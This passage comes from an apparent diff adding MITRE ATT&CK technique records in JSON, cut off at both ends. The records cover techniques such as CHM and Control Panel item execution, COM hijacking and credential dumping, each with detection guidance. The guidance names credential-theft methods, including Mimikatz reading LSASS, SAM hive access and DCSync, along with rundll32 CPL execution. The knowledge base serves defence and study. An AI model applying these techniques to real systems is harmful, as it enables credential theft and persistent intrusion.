"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.", + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": false, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "name": "Communication Through Removable Media", + "created": "2017-05-31T21:31:09.379Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access." + }, + { + "external_references": [ + { + "external_id": "T1500", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1500" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", + "source_name": "TrendMicro WindowsAppMac", + "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "x_mitre_contributors": [ + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Praetorian" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "modified": "2019-04-29T21:13:49.686Z", + "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--cf7b3a06-8b42-4c33-bbe9-012120027925", + "name": "Compile After Delivery", + "created": "2019-04-25T20:53:07.719Z", + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Compiler software (either native to the system or delivered by the adversary)" + ], + "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", + "x_mitre_defense_bypassed": [ + "Static File Analysis", + "Binary Analysis", + "Anti-virus", + "Host intrusion prevention systems", + "Signature-based detection" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1223", + "source_name": "mitre-attack", + "external_id": "T1223" + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", + "source_name": "Microsoft HTML Help May 2018", + "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018." + }, + { + "url": "https://msdn.microsoft.com/windows/desktop/ms644670", + "source_name": "Microsoft HTML Help ActiveX", + "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018." + }, + { + "url": "https://msdn.microsoft.com/windows/desktop/ms524405", + "source_name": "Microsoft HTML Help Executable Program", + "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018." + }, + { + "url": "https://msitpros.com/?p=3909", + "source_name": "MsitPros CHM Aug 2017", + "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018." + }, + { + "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625", + "source_name": "Microsoft CVE-2017-8625 Aug 2017", + "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-01-31T01:21:44.559Z", + "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "name": "Compiled HTML File", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1109", + "source_name": "mitre-attack", + "external_id": "T1109" + }, + { + "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", + "source_name": "ITWorld Hard Disk Health Dec 2014", + "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018." + }, + { + "url": "https://www.smartmontools.org/", + "source_name": "SmartMontools", + "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018." + }, + { + "source_name": "SanDisk SMART", + "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Ability to update component device firmware from the host operating system." + ], + "x_mitre_permissions_required": [ + "SYSTEM" + ], + "x_mitre_data_sources": [ + "Disk forensics", + "API monitoring", + "Process monitoring", + "Component firmware" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "name": "Component Firmware", + "created": "2017-05-31T21:31:22.374Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1122", + "source_name": "mitre-attack", + "external_id": "T1122" + }, + { + "url": "https://msdn.microsoft.com/library/ms694363.aspx", + "source_name": "Microsoft Component Object Model", + "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016." + }, + { + "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "source_name": "GDATA COM Hijacking", + "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016." + }, + { + "url": "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com", + "source_name": "Endgame COM Hijacking", + "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "ENDGAME" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "DLL monitoring", + "Loaded DLLs" + ], + "modified": "2019-04-18T16:41:28.889Z", + "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Autoruns Analysis" + ], + "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "name": "Component Object Model Hijacking", + "created": "2017-05-31T21:31:33.979Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090", + "source_name": "mitre-attack", + "external_id": "T1090" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + }, + { + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "modified": "2018-12-05T17:37:12.426Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "name": "Connection Proxy", + "created": "2017-05-31T21:31:08.479Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1196", + "source_name": "mitre-attack", + "external_id": "T1196" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "source_name": "Microsoft Implementing CPL", + "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018." + }, + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "source_name": "TrendMicro CPL Malware Jan 2014", + "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", + "source_name": "TrendMicro CPL Malware Dec 2013", + "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Windows Registry", + "Windows event logs", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "name": "Control Panel Items", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1136", + "source_name": "mitre-attack", + "external_id": "T1136" + }, + { + "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4720", + "source_name": "Microsoft User Creation Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Authentication logs", + "Windows event logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "name": "Create Account", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003", + "source_name": "mitre-attack", + "external_id": "T1003" + }, + { + "external_id": "CAPEC-567", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/567.html" + }, + { + "url": "https://github.com/Neohapsis/creddump7", + "source_name": "GitHub Creddump7", + "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018." + }, + { + "url": "https://en.wikipedia.org/wiki/Active_Directory", + "source_name": "Wikipedia Active Directory", + "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/cc422924.aspx", + "source_name": "Microsoft GPP Key", + "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018." + }, + { + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015." + }, + { + "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html", + "source_name": "Obscuresecurity Get-GPPPassword", + "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018." + }, + { + "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/", + "source_name": "TechNet Blogs Credential Protection", + "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018." + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)", + "source_name": "Microsoft CredSSP", + "description": "Microsoft. (2008, July 25). Credential Security Service Provider and SSO for Terminal Services Logon. Retrieved April 11, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/cc228086.aspx", + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/dd207691.aspx", + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017." + }, + { + "url": "https://wiki.samba.org/index.php/DRSUAPI", + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017." + }, + { + "url": "https://source.winehq.org/WineAPI/samlib.html", + "source_name": "Wine API samlib.dll", + "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017." + }, + { + "url": "https://adsecurity.org/?p=1729", + "source_name": "ADSecurity Mimikatz DCSync", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017." + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "source_name": "Harmj0y Mimikatz and DCSync", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017." + }, + { + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM", + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017." + }, + { + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump", + "source_name": "GitHub Mimikatz lsadump Module", + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/cc237008.aspx", + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017." + }, + { + "url": "https://github.com/mattifestation/PowerSploit", + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/cc245496.aspx", + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017." + }, + { + "url": "https://adsecurity.org/?p=1729", + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "PowerShell logs", + "Process command-line parameters" + ], + "modified": "2019-02-05T23:16:08.052Z", + "x_mitre_detection": "### Windows\nCommon credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "name": 